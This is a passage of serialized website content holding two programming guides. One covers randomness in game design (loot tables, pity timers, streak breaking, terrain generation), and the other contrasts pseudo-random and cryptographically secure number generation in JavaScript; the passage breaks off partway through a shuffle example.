items[items.",[1560,173995,9418],{"class":1576},[1560,173997,22908],{"class":1669},[1560,173999,18868],{"class":1576},[1560,174001,13502],{"class":1570},[1560,174003,174004],{"class":1562,"line":2524},[1560,174005,1585],{"class":1570},[1560,174007,174008],{"class":1562,"line":2529},[1560,174009,1702],{"emptyLinePlaceholder":363},[1560,174011,174012],{"class":1562,"line":2534},[1560,174013,174014],{"class":1649},"\u002F\u002F Usage\n",[1560,174016,174017,174019,174022,174024,174026],{"class":1562,"line":2542},[1560,174018,8180],{"class":1669},[1560,174020,174021],{"class":1576}," loot",[1560,174023,8186],{"class":1669},[1560,174025,173868],{"class":1566},[1560,174027,174028],{"class":1570},"([\n",[1560,174030,174031,174034,174037,174040,174042],{"class":1562,"line":2558},[1560,174032,174033],{"class":1570},"  { name: ",[1560,174035,174036],{"class":5634},"'Common Sword'",[1560,174038,174039],{"class":1570},", weight: ",[1560,174041,18333],{"class":1576},[1560,174043,21223],{"class":1570},[1560,174045,174046,174048,174051,174054,174056],{"class":1562,"line":2570},[1560,174047,174033],{"class":1570},[1560,174049,174050],{"class":5634},"'Rare Shield'",[1560,174052,174053],{"class":1570},",  weight: ",[1560,174055,22036],{"class":1576},[1560,174057,21223],{"class":1570},[1560,174059,174060,174062,174065,174068,174070],{"class":1562,"line":6638},[1560,174061,174033],{"class":1570},[1560,174063,174064],{"class":5634},"'Epic Ring'",[1560,174066,174067],{"class":1570},",    weight: ",[1560,174069,36197],{"class":1576},[1560,174071,21223],{"class":1570},[1560,174073,174074,174076,174079,174081,174083],{"class":1562,"line":11615},[1560,174075,174033],{"class":1570},[1560,174077,174078],{"class":5634},"'Legendary Staff'",[1560,174080,174039],{"class":1570},[1560,174082,13431],{"class":1576},[1560,174084,21223],{"class":1570},[1560,174086,174087],{"class":1562,"line":11621},[1560,174088,157528],{"class":1570},[33,174090,174092],{"id":174091},"pity-systems","Pity Systems",[16,174094,174095],{},"Pure random drops frustrate players when luck is bad. Pity timers guarantee a rare drop after N failed attempts:",[135,174097,174099],{"className":1607,"code":174098,"language":1609,"meta":141,"style":141},"function lootWithPity(attempts, threshold = 10) {\n  if (attempts >= threshold) {\n    return { name: 'Guaranteed Rare', rarity: 'rare' };\n  }\n\n  const dropChance = 0.05 + (attempts * 0.005); \u002F\u002F Soft pity\n  if (Math.random() \u003C dropChance) {\n    return { name: 'Rare Item', rarity: 'rare' };\n  }\n  return { name: 'Common Item', rarity: 'common' };\n}\n",[143,174100,174101,174124,174136,174154,174158,174162,174187,174202,174217,174221,174237],{"__ignoreMap":141},[1560,174102,174103,174105,174108,174110,174113,174115,174118,174120,174122],{"class":1562,"line":1563},[1560,174104,8648],{"class":1669},[1560,174106,174107],{"class":1566}," lootWithPity",[1560,174109,1688],{"class":1570},[1560,174111,174112],{"class":2219},"attempts",[1560,174114,1459],{"class":1570},[1560,174116,174117],{"class":2219},"threshold",[1560,174119,8186],{"class":1669},[1560,174121,43241],{"class":1576},[1560,174123,9345],{"class":1570},[1560,174125,174126,174128,174131,174133],{"class":1562,"line":337},[1560,174127,27984],{"class":1669},[1560,174129,174130],{"class":1570}," (attempts ",[1560,174132,90127],{"class":1669},[1560,174134,174135],{"class":1570}," threshold) {\n",[1560,174137,174138,174140,174143,174146,174149,174152],{"class":1562,"line":343},[1560,174139,9434],{"class":1669},[1560,174141,174142],{"class":1570}," { name: ",[1560,174144,174145],{"class":5634},"'Guaranteed Rare'",[1560,174147,174148],{"class":1570},", rarity: ",[1560,174150,174151],{"class":5634},"'rare'",[1560,174153,131020],{"class":1570},[1560,174155,174156],{"class":1562,"line":365},[1560,174157,4959],{"class":1570},[1560,174159,174160],{"class":1562,"line":889},[1560,174161,1702],{"emptyLinePlaceholder":363},[1560,174163,174164,174166,174169,174171,174173,174175,174177,174179,174182,174184],{"class":1562,"line":1710},[1560,174165,28057],{"class":1669},[1560,174167,174168],{"class":1576}," dropChance",[1560,174170,8186],{"class":1669},[1560,174172,40029],{"class":1576},[1560,174174,29002],{"class":1669},[1560,174176,174130],{"class":1570},[1560,174178,8069],{"class":1669},[1560,174180,174181],{"class":1576}," 0.005",[1560,174183,5171],{"class":1570},[1560,174185,174186],{"class":1649},"\u002F\u002F Soft pity\n",[1560,174188,174189,174191,174193,174195,174197,174199],{"class":1562,"line":1717},[1560,174190,27984],{"class":1669},[1560,174192,165641],{"class":1570},[1560,174194,38108],{"class":1566},[1560,174196,38111],{"class":1570},[1560,174198,6431],{"class":1669},[1560,174200,174201],{"class":1570}," dropChance) {\n",[1560,174203,174204,174206,174208,174211,174213,174215],{"class":1562,"line":1747},[1560,174205,9434],{"class":1669},[1560,174207,174142],{"class":1570},[1560,174209,174210],{"class":5634},"'Rare Item'",[1560,174212,174148],{"class":1570},[1560,174214,174151],{"class":5634},[1560,174216,131020],{"class":1570},[1560,174218,174219],{"class":1562,"line":2507},[1560,174220,4959],{"class":1570},[1560,174222,174223,174225,174227,174230,174232,174235],{"class":1562,"line":2524},[1560,174224,9350],{"class":1669},[1560,174226,174142],{"class":1570},[1560,174228,174229],{"class":5634},"'Common Item'",[1560,174231,174148],{"class":1570},[1560,174233,174234],{"class":5634},"'common'",[1560,174236,131020],{"class":1570},[1560,174238,174239],{"class":1562,"line":2529},[1560,174240,1585],{"class":1570},[11,174242,174244],{"id":174243},"player-perception-of-fairness","Player Perception of Fairness",[16,174246,174247],{},"Players perceive randomness differently than mathematicians. Key findings from game design research:",[193,174249,174250,174262],{},[196,174251,174252],{},[199,174253,174254,174257,174259],{},[202,174255,174256],{},"Phenomenon",[202,174258,207],{},[202,174260,174261],{},"Design Response",[211,174263,174264,174275,174286,174297],{},[199,174265,174266,174269,174272],{},[216,174267,174268],{},"Gambler's fallacy",[216,174270,174271],{},"\"I'm due for a win\"",[216,174273,174274],{},"Pity systems exploit this positively",[199,174276,174277,174280,174283],{},[216,174278,174279],{},"Clustering illusion",[216,174281,174282],{},"\"Three misses in a row is broken\"",[216,174284,174285],{},"Streak breaking logic",[199,174287,174288,174291,174294],{},[216,174289,174290],{},"Loss aversion",[216,174292,174293],{},"Losses feel worse than equivalent gains",[216,174295,174296],{},"Near-miss feedback (show how close)",[199,174298,174299,174302,174305],{},[216,174300,174301],{},"Hindsight bias",[216,174303,174304],{},"\"I should have known that would miss\"",[216,174306,174307],{},"Transparent probability display",[33,174309,174311],{"id":174310},"streak-breaking","Streak Breaking",[16,174313,174314],{},"If a player misses 3+ times in a row, some games silently boost the next hit chance to prevent frustration:",[135,174316,174318],{"className":1607,"code":174317,"language":1609,"meta":141,"style":141},"function combatRoll(consecutiveMisses) {\n  let hitChance = 0.7;\n  if (consecutiveMisses >= 3) {\n    hitChance = Math.min(hitChance + 0.15 * consecutiveMisses, 0.95);\n  }\n  return Math.random() \u003C hitChance;\n}\n",[143,174319,174320,174334,174348,174361,174388,174392,174407],{"__ignoreMap":141},[1560,174321,174322,174324,174327,174329,174332],{"class":1562,"line":1563},[1560,174323,8648],{"class":1669},[1560,174325,174326],{"class":1566}," combatRoll",[1560,174328,1688],{"class":1570},[1560,174330,174331],{"class":2219},"consecutiveMisses",[1560,174333,9345],{"class":1570},[1560,174335,174336,174338,174341,174343,174346],{"class":1562,"line":337},[1560,174337,38049],{"class":1669},[1560,174339,174340],{"class":1570}," hitChance ",[1560,174342,7297],{"class":1669},[1560,174344,174345],{"class":1576}," 0.7",[1560,174347,2228],{"class":1570},[1560,174349,174350,174352,174355,174357,174359],{"class":1562,"line":343},[1560,174351,27984],{"class":1669},[1560,174353,174354],{"class":1570}," (consecutiveMisses ",[1560,174356,90127],{"class":1669},[1560,174358,48433],{"class":1576},[1560,174360,9345],{"class":1570},[1560,174362,174363,174366,174368,174370,174372,174375,174377,174379,174381,174384,174386],{"class":1562,"line":365},[1560,174364,174365],{"class":1570},"    hitChance ",[1560,174367,7297],{"class":1669},[1560,174369,9393],{"class":1570},[1560,174371,28995],{"class":1566},[1560,174373,174374],{"class":1570},"(hitChance ",[1560,174376,9448],{"class":1669},[1560,174378,159875],{"class":1576},[1560,174380,8064],{"class":1669},[1560,174382,174383],{"class":1570}," consecutiveMisses, ",[1560,174385,78832],{"class":1576},[1560,174387,1744],{"class":1570},[1560,174389,174390],{"class":1562,"line":889},[1560,174391,4959],{"class":1570},[1560,174393,174394,174396,174398,174400,174402,174404],{"class":1562,"line":1710},[1560,174395,9350],{"class":1669},[1560,174397,9393],{"class":1570},[1560,174399,38108],{"class":1566},[1560,174401,38111],{"class":1570},[1560,174403,6431],{"class":1669},[1560,174405,174406],{"class":1570}," hitChance;\n",[1560,174408,174409],{"class":1562,"line":1717},[1560,174410,1585],{"class":1570},[11,174412,174414],{"id":174413},"procedural-generation","Procedural Generation",[16,174416,174417],{},"For terrain and level generation, combine multiple PRNG calls with noise functions:",[135,174419,174421],{"className":1607,"code":174420,"language":1609,"meta":141,"style":141},"\u002F\u002F Simple 1D terrain using midpoint displacement\nfunction generateTerrain(width, roughness, rng) {\n  const terrain = new Array(width).fill(0);\n  terrain[0] = rng.nextInt(30, 70);\n  terrain[width - 1] = rng.nextInt(30, 70);\n\n  let step = width - 1;\n  let scale = roughness;\n\n  while (step > 1) {\n    const half = Math.floor(step \u002F 2);\n    for (let i = half; i \u003C width; i += step) {\n      const avg = (terrain[i - half] + terrain[i + half]) \u002F 2;\n      terrain[i] = avg + (rng.next() - 0.5) * scale;\n    }\n    step = half;\n    scale *= 0.5;\n  }\n  return terrain;\n}\n",[143,174422,174423,174428,174451,174476,174502,174529,174533,174551,174563,174567,174580,174602,174627,174660,174691,174695,174705,174717,174721,174728],{"__ignoreMap":141},[1560,174424,174425],{"class":1562,"line":1563},[1560,174426,174427],{"class":1649},"\u002F\u002F Simple 1D terrain using midpoint displacement\n",[1560,174429,174430,174432,174435,174437,174439,174441,174444,174446,174449],{"class":1562,"line":337},[1560,174431,8648],{"class":1669},[1560,174433,174434],{"class":1566}," generateTerrain",[1560,174436,1688],{"class":1570},[1560,174438,1870],{"class":2219},[1560,174440,1459],{"class":1570},[1560,174442,174443],{"class":2219},"roughness",[1560,174445,1459],{"class":1570},[1560,174447,174448],{"class":2219},"rng",[1560,174450,9345],{"class":1570},[1560,174452,174453,174455,174458,174460,174462,174465,174468,174470,174472,174474],{"class":1562,"line":343},[1560,174454,28057],{"class":1669},[1560,174456,174457],{"class":1576}," terrain",[1560,174459,8186],{"class":1669},[1560,174461,11489],{"class":1669},[1560,174463,174464],{"class":1566}," Array",[1560,174466,174467],{"class":1570},"(width).",[1560,174469,12614],{"class":1566},[1560,174471,1688],{"class":1570},[1560,174473,5285],{"class":1576},[1560,174475,1744],{"class":1570},[1560,174477,174478,174481,174483,174485,174487,174490,174492,174494,174496,174498,174500],{"class":1562,"line":365},[1560,174479,174480],{"class":1570},"  terrain[",[1560,174482,5285],{"class":1576},[1560,174484,13484],{"class":1570},[1560,174486,7297],{"class":1669},[1560,174488,174489],{"class":1570}," rng.",[1560,174491,173812],{"class":1566},[1560,174493,1688],{"class":1570},[1560,174495,23995],{"class":1576},[1560,174497,1459],{"class":1570},[1560,174499,47166],{"class":1576},[1560,174501,1744],{"class":1570},[1560,174503,174504,174507,174509,174511,174513,174515,174517,174519,174521,174523,174525,174527],{"class":1562,"line":889},[1560,174505,174506],{"class":1570},"  terrain[width ",[1560,174508,9412],{"class":1669},[1560,174510,18868],{"class":1576},[1560,174512,13484],{"class":1570},[1560,174514,7297],{"class":1669},[1560,174516,174489],{"class":1570},[1560,174518,173812],{"class":1566},[1560,174520,1688],{"class":1570},[1560,174522,23995],{"class":1576},[1560,174524,1459],{"class":1570},[1560,174526,47166],{"class":1576},[1560,174528,1744],{"class":1570},[1560,174530,174531],{"class":1562,"line":1710},[1560,174532,1702],{"emptyLinePlaceholder":363},[1560,174534,174535,174537,174540,174542,174545,174547,174549],{"class":1562,"line":1717},[1560,174536,38049],{"class":1669},[1560,174538,174539],{"class":1570}," step ",[1560,174541,7297],{"class":1669},[1560,174543,174544],{"class":1570}," width ",[1560,174546,9412],{"class":1669},[1560,174548,18868],{"class":1576},[1560,174550,2228],{"class":1570},[1560,174552,174553,174555,174558,174560],{"class":1562,"line":1747},[1560,174554,38049],{"class":1669},[1560,174556,174557],{"class":1570}," scale ",[1560,174559,7297],{"class":1669},[1560,174561,174562],{"class":1570}," roughness;\n",[1560,174564,174565],{"class":1562,"line":2507},[1560,174566,1702],{"emptyLinePlaceholder":363},[1560,174568,174569,174571,174574,174576,174578],{"class":1562,"line":2524},[1560,174570,38062],{"class":1669},[1560,174572,174573],{"class":1570}," (step ",[1560,174575,28226],{"class":1669},[1560,174577,18868],{"class":1576},[1560,174579,9345],{"class":1570},[1560,174581,174582,174584,174587,174589,174591,174593,174596,174598,174600],{"class":1562,"line":2529},[1560,174583,9385],{"class":1669},[1560,174585,174586],{"class":1576}," half",[1560,174588,8186],{"class":1669},[1560,174590,9393],{"class":1570},[1560,174592,9406],{"class":1566},[1560,174594,174595],{"class":1570},"(step ",[1560,174597,9423],{"class":1669},[1560,174599,9426],{"class":1576},[1560,174601,1744],{"class":1570},[1560,174603,174604,174606,174608,174610,174612,174614,174617,174619,174622,174624],{"class":1562,"line":2534},[1560,174605,110648],{"class":1669},[1560,174607,5181],{"class":1570},[1560,174609,41680],{"class":1669},[1560,174611,7950],{"class":1570},[1560,174613,7297],{"class":1669},[1560,174615,174616],{"class":1570}," half; i ",[1560,174618,6431],{"class":1669},[1560,174620,174621],{"class":1570}," width; i ",[1560,174623,28386],{"class":1669},[1560,174625,174626],{"class":1570}," step) {\n",[1560,174628,174629,174631,174634,174636,174639,174641,174644,174646,174649,174651,174654,174656,174658],{"class":1562,"line":2542},[1560,174630,11535],{"class":1669},[1560,174632,174633],{"class":1576}," avg",[1560,174635,8186],{"class":1669},[1560,174637,174638],{"class":1570}," (terrain[i ",[1560,174640,9412],{"class":1669},[1560,174642,174643],{"class":1570}," half] ",[1560,174645,9448],{"class":1669},[1560,174647,174648],{"class":1570}," terrain[i ",[1560,174650,9448],{"class":1669},[1560,174652,174653],{"class":1570}," half]) ",[1560,174655,9423],{"class":1669},[1560,174657,9426],{"class":1576},[1560,174659,2228],{"class":1570},[1560,174661,174662,174665,174667,174670,174672,174675,174677,174679,174681,174684,174686,174688],{"class":1562,"line":2558},[1560,174663,174664],{"class":1570},"      terrain[i] ",[1560,174666,7297],{"class":1669},[1560,174668,174669],{"class":1570}," avg ",[1560,174671,9448],{"class":1669},[1560,174673,174674],{"class":1570}," (rng.",[1560,174676,173749],{"class":1566},[1560,174678,38111],{"class":1570},[1560,174680,9412],{"class":1669},[1560,174682,174683],{"class":1576}," 0.5",[1560,174685,1733],{"class":1570},[1560,174687,8069],{"class":1669},[1560,174689,174690],{"class":1570}," scale;\n",[1560,174692,174693],{"class":1562,"line":2570},[1560,174694,11612],{"class":1570},[1560,174696,174697,174700,174702],{"class":1562,"line":6638},[1560,174698,174699],{"class":1570},"    step ",[1560,174701,7297],{"class":1669},[1560,174703,174704],{"class":1570}," half;\n",[1560,174706,174707,174710,174713,174715],{"class":1562,"line":11615},[1560,174708,174709],{"class":1570},"    scale ",[1560,174711,174712],{"class":1669},"*=",[1560,174714,174683],{"class":1576},[1560,174716,2228],{"class":1570},[1560,174718,174719],{"class":1562,"line":11621},[1560,174720,4959],{"class":1570},[1560,174722,174723,174725],{"class":1562,"line":11633},[1560,174724,9350],{"class":1669},[1560,174726,174727],{"class":1570}," terrain;\n",[1560,174729,174730],{"class":1562,"line":11638},[1560,174731,1585],{"class":1570},[11,174733,1355],{"id":1354},[41,174735,174736,174739,174742,174745,174748,174751],{},[44,174737,174738],{},"Games need fast, deterministic PRNGs — cryptographic security is unnecessary",[44,174740,174741],{},"Seeded RNG enables reproducible worlds, replays, and synced multiplayer",[44,174743,174744],{},"Weighted random selection is the standard for loot drops and encounters",[44,174746,174747],{},"Pity systems and streak breaking manage player frustration with bad luck",[44,174749,174750],{},"Player perception of fairness often matters more than mathematical fairness",[44,174752,174753],{},"Procedural generation combines PRNG with noise functions for natural-looking content",[11,174755,286],{"id":285},[16,174757,174758,174759,174761],{},"Generate random numbers for any game mechanic with our ",[98,174760,42522],{"href":42521},". Set custom ranges, generate unique values, or create weighted distributions — all interactively.",[11,174763,321],{"id":320},[41,174765,174766,174771],{},[44,174767,174768,174770],{},[98,174769,42533],{"href":42532}," — types of RNG and how they work",[44,174772,174773,174775],{},[98,174774,170511],{"href":171004}," — distributions, permutations, and combinatorics",[2043,174777,174778],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}",{"title":141,"searchDepth":337,"depth":337,"links":174780},[174781,174782,174783,174788,174789,174793,174796,174797,174798,174799],{"id":173271,"depth":337,"text":173272},{"id":173291,"depth":337,"text":173292},{"id":173388,"depth":337,"text":173389,"children":174784},[174785,174786,174787],{"id":173395,"depth":343,"text":173396},{"id":173562,"depth":343,"text":173563},{"id":173569,"depth":343,"text":173570},{"id":173576,"depth":337,"text":173577},{"id":173848,"depth":337,"text":173849,"children":174790},[174791,174792],{"id":173852,"depth":343,"text":173853},{"id":174091,"depth":343,"text":174092},{"id":174243,"depth":337,"text":174244,"children":174794},[174795],{"id":174310,"depth":343,"text":174311},{"id":174413,"depth":337,"text":174414},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Explore how games use random number generation for loot drops, procedural content, dice mechanics, and AI behavior. Learn fairness patterns and player perception.",{"keywords":174802,"immutable":363},[42563,174803],"random-number-generation-games","\u002Fguides\u002Frandom-number-generation-games",{"title":173266,"description":174800},"guides\u002Frandom-number-generation-games","Y4esNmieILwmFqeSzwCZI3bCu0WzlQpl4ka69645eLY",{"id":174809,"title":42533,"body":174810,"date":2070,"description":175537,"extension":361,"meta":175538,"navigation":363,"path":42532,"readingTime":1710,"seo":175539,"stem":175540,"__hash__":175541},"guides\u002Fguides\u002Frandom-number-guide.md",{"type":8,"value":174811,"toc":175527},[174812,174816,174828,174831,174835,174909,174912,174916,174919,174930,174958,174965,175021,175029,175033,175036,175041,175090,175098,175157,175166,175187,175191,175194,175214,175372,175375,175377,175469,175478,175480,175516,175518,175524],[11,174813,174815],{"id":174814},"what-is-randomness-in-computing","What Is Randomness in Computing?",[16,174817,174818,174819,174822,174823,174825,174826,468],{},"Randomness in computing means producing values that lack any predictable pattern. Computers are deterministic machines — they follow instructions exactly — so generating true randomness is fundamentally hard. Instead, most programming languages rely on ",[47,174820,174821],{},"pseudo-random number generators (PRNGs)",": algorithms that produce sequences which ",[7310,174824,41636],{}," random but are actually determined by an initial value called a ",[47,174827,41664],{},[16,174829,174830],{},"True randomness requires an external source of entropy, such as hardware noise, radioactive decay, or user input timing. Most everyday applications do not need this level of unpredictability and work fine with PRNGs.",[11,174832,174834],{"id":174833},"pseudo-random-vs-true-random","Pseudo-Random vs True Random",[193,174836,174837,174849],{},[196,174838,174839],{},[199,174840,174841,174843,174846],{},[202,174842,13104],{},[202,174844,174845],{},"Pseudo-Random",[202,174847,174848],{},"True Random",[211,174850,174851,174863,174875,174886,174897],{},[199,174852,174853,174857,174860],{},[216,174854,174855],{},[47,174856,31640],{},[216,174858,174859],{},"Mathematical algorithm",[216,174861,174862],{},"Physical entropy",[199,174864,174865,174870,174873],{},[216,174866,174867],{},[47,174868,174869],{},"Reproducible",[216,174871,174872],{},"Yes, with same seed",[216,174874,6117],{},[199,174876,174877,174881,174883],{},[216,174878,174879],{},[47,174880,819],{},[216,174882,50094],{},[216,174884,174885],{},"Slower",[199,174887,174888,174892,174895],{},[216,174889,174890],{},[47,174891,170700],{},[216,174893,174894],{},"Predictable if seed known",[216,174896,170733],{},[199,174898,174899,174903,174906],{},[216,174900,174901],{},[47,174902,31918],{},[216,174904,174905],{},"Games, simulations, testing",[216,174907,174908],{},"Cryptography, security tokens",[16,174910,174911],{},"A PRNG always produces the same output for the same seed. This is useful for debugging and reproducible tests, but it means anyone who knows the seed can predict every number in the sequence.",[11,174913,174915],{"id":174914},"mathrandom-vs-cryptogetrandomvalues","Math.random() vs crypto.getRandomValues()",[16,174917,174918],{},"In JavaScript, the two most common ways to generate random numbers serve very different purposes.",[16,174920,174921,174925,174926,174929],{},[47,174922,174923],{},[143,174924,41774],{}," returns a floating-point number between 0 (inclusive) and 1 (exclusive). It uses a PRNG internally and is fast, but it is ",[47,174927,174928],{},"not cryptographically secure",". An attacker who observes enough outputs can predict future values.",[135,174931,174933],{"className":1607,"code":174932,"language":1609,"meta":141,"style":141},"\u002F\u002F Simple PRNG — fast but not secure\nconst value = Math.random(); \u002F\u002F 0.374527...\n",[143,174934,174935,174940],{"__ignoreMap":141},[1560,174936,174937],{"class":1562,"line":1563},[1560,174938,174939],{"class":1649},"\u002F\u002F Simple PRNG — fast but not secure\n",[1560,174941,174942,174944,174947,174949,174951,174953,174955],{"class":1562,"line":337},[1560,174943,8180],{"class":1669},[1560,174945,174946],{"class":1576}," value",[1560,174948,8186],{"class":1669},[1560,174950,9393],{"class":1570},[1560,174952,38108],{"class":1566},[1560,174954,34220],{"class":1570},[1560,174956,174957],{"class":1649},"\u002F\u002F 0.374527...\n",[16,174959,174960,174964],{},[47,174961,174962],{},[143,174963,41808],{}," fills a typed array with cryptographically strong random values. It draws from the operating system's entropy pool, making it suitable for security-critical tasks.",[135,174966,174968],{"className":1607,"code":174967,"language":1609,"meta":141,"style":141},"\u002F\u002F Cryptographically secure\nconst array = new Uint32Array(1);\ncrypto.getRandomValues(array);\nconst secureInt = array[0]; \u002F\u002F 0 to 4,294,967,295\n",[143,174969,174970,174975,174993,175001],{"__ignoreMap":141},[1560,174971,174972],{"class":1562,"line":1563},[1560,174973,174974],{"class":1649},"\u002F\u002F Cryptographically secure\n",[1560,174976,174977,174979,174981,174983,174985,174987,174989,174991],{"class":1562,"line":337},[1560,174978,8180],{"class":1669},[1560,174980,41825],{"class":1576},[1560,174982,8186],{"class":1669},[1560,174984,11489],{"class":1669},[1560,174986,41832],{"class":1566},[1560,174988,1688],{"class":1570},[1560,174990,3585],{"class":1576},[1560,174992,1744],{"class":1570},[1560,174994,174995,174997,174999],{"class":1562,"line":343},[1560,174996,41843],{"class":1570},[1560,174998,41846],{"class":1566},[1560,175000,41849],{"class":1570},[1560,175002,175003,175005,175008,175010,175013,175015,175018],{"class":1562,"line":365},[1560,175004,8180],{"class":1669},[1560,175006,175007],{"class":1576}," secureInt",[1560,175009,8186],{"class":1669},[1560,175011,175012],{"class":1570}," array[",[1560,175014,5285],{"class":1576},[1560,175016,175017],{"class":1570},"]; ",[1560,175019,175020],{"class":1649},"\u002F\u002F 0 to 4,294,967,295\n",[16,175022,1388,175023,175025,175026,175028],{},[143,175024,41774],{}," for games, animations, and non-security use cases. Use ",[143,175027,41808],{}," for tokens, passwords, and any value an attacker must not predict.",[11,175030,175032],{"id":175031},"integer-vs-decimal-generation","Integer vs Decimal Generation",[16,175034,175035],{},"Most random number generators produce decimal (floating-point) values between 0 and 1. You often need to convert these into integers within a specific range.",[16,175037,175038],{},[47,175039,175040],{},"Decimal in a range [min, max):",[135,175042,175044],{"className":1607,"code":175043,"language":1609,"meta":141,"style":141},"function randomDecimal(min, max) {\n  return Math.random() * (max - min) + min;\n}\n",[143,175045,175046,175063,175086],{"__ignoreMap":141},[1560,175047,175048,175050,175053,175055,175057,175059,175061],{"class":1562,"line":1563},[1560,175049,8648],{"class":1669},[1560,175051,175052],{"class":1566}," randomDecimal",[1560,175054,1688],{"class":1570},[1560,175056,28995],{"class":2219},[1560,175058,1459],{"class":1570},[1560,175060,9396],{"class":2219},[1560,175062,9345],{"class":1570},[1560,175064,175065,175067,175069,175071,175073,175075,175077,175079,175082,175084],{"class":1562,"line":337},[1560,175066,9350],{"class":1669},[1560,175068,9393],{"class":1570},[1560,175070,38108],{"class":1566},[1560,175072,38111],{"class":1570},[1560,175074,8069],{"class":1669},[1560,175076,173756],{"class":1570},[1560,175078,9412],{"class":1669},[1560,175080,175081],{"class":1570}," min) ",[1560,175083,9448],{"class":1669},[1560,175085,173766],{"class":1570},[1560,175087,175088],{"class":1562,"line":343},[1560,175089,1585],{"class":1570},[16,175091,175092],{},[47,175093,175094,175095,175097],{},"Integer in a range ",[1560,175096,170901],{}," (inclusive):",[135,175099,175101],{"className":1607,"code":175100,"language":1609,"meta":141,"style":141},"function randomInteger(min, max) {\n  return Math.floor(Math.random() * (max - min + 1)) + min;\n}\n",[143,175102,175103,175120,175153],{"__ignoreMap":141},[1560,175104,175105,175107,175110,175112,175114,175116,175118],{"class":1562,"line":1563},[1560,175106,8648],{"class":1669},[1560,175108,175109],{"class":1566}," randomInteger",[1560,175111,1688],{"class":1570},[1560,175113,28995],{"class":2219},[1560,175115,1459],{"class":1570},[1560,175117,9396],{"class":2219},[1560,175119,9345],{"class":1570},[1560,175121,175122,175124,175126,175128,175130,175132,175134,175136,175138,175140,175143,175145,175147,175149,175151],{"class":1562,"line":337},[1560,175123,9350],{"class":1669},[1560,175125,9393],{"class":1570},[1560,175127,9406],{"class":1566},[1560,175129,38105],{"class":1570},[1560,175131,38108],{"class":1566},[1560,175133,38111],{"class":1570},[1560,175135,8069],{"class":1669},[1560,175137,173756],{"class":1570},[1560,175139,9412],{"class":1669},[1560,175141,175142],{"class":1570}," min ",[1560,175144,9448],{"class":1669},[1560,175146,18868],{"class":1576},[1560,175148,28003],{"class":1570},[1560,175150,9448],{"class":1669},[1560,175152,173766],{"class":1570},[1560,175154,175155],{"class":1562,"line":343},[1560,175156,1585],{"class":1570},[16,175158,421,175159,175162,175163,175165],{},[143,175160,175161],{},"+1"," in the integer formula ensures the upper bound is included. Without it, ",[143,175164,9396],{}," would never appear in the output.",[16,175167,175168,175171,175172,55616,175175,175178,175179,1856,175181,175183,175184,175186],{},[47,175169,175170],{},"Common mistake:"," Using ",[143,175173,175174],{},"Math.round()",[143,175176,175177],{},"Math.floor()"," biases the distribution — the endpoints ",[143,175180,28995],{},[143,175182,9396],{}," each appear half as often as interior values. Always use ",[143,175185,175177],{}," for uniform integer generation.",[11,175188,175190],{"id":175189},"generating-unique-random-values","Generating Unique Random Values",[16,175192,175193],{},"Sometimes you need random values that do not repeat within a set. Common approaches include:",[41,175195,175196,175202,175208],{},[44,175197,175198,175201],{},[47,175199,175200],{},"Shuffle and pick:"," Generate all possible values, shuffle the list, then take what you need. Works well when the range is small.",[44,175203,175204,175207],{},[47,175205,175206],{},"Track used values:"," Keep a set of previously generated values and reject duplicates. Simple but degrades in performance as the pool fills up.",[44,175209,175210,175213],{},[47,175211,175212],{},"Cryptographic uniqueness:"," Use UUID v4 for identifiers that are virtually guaranteed to be unique without coordination.",[135,175215,175217],{"className":1607,"code":175216,"language":1609,"meta":141,"style":141},"\u002F\u002F Fisher-Yates shuffle for unique picks\nfunction shuffledRange(min, max) {\n  const arr = Array.from({ length: max - min + 1 }, (_, i) => i + min);\n  for (let i = arr.length - 1; i > 0; i--) {\n    const j = Math.floor(Math.random() * (i + 1));\n    [arr[i], arr[j]] = [arr[j], arr[i]];\n  }\n  return arr;\n}\n",[143,175218,175219,175224,175241,175284,175317,175347,175357,175361,175368],{"__ignoreMap":141},[1560,175220,175221],{"class":1562,"line":1563},[1560,175222,175223],{"class":1649},"\u002F\u002F Fisher-Yates shuffle for unique picks\n",[1560,175225,175226,175228,175231,175233,175235,175237,175239],{"class":1562,"line":337},[1560,175227,8648],{"class":1669},[1560,175229,175230],{"class":1566}," shuffledRange",[1560,175232,1688],{"class":1570},[1560,175234,28995],{"class":2219},[1560,175236,1459],{"class":1570},[1560,175238,9396],{"class":2219},[1560,175240,9345],{"class":1570},[1560,175242,175243,175245,175248,175250,175252,175254,175257,175259,175261,175263,175265,175267,175269,175271,175273,175275,175277,175279,175281],{"class":1562,"line":343},[1560,175244,28057],{"class":1669},[1560,175246,175247],{"class":1576}," arr",[1560,175249,8186],{"class":1669},[1560,175251,23043],{"class":1570},[1560,175253,8168],{"class":1566},[1560,175255,175256],{"class":1570},"({ length: max 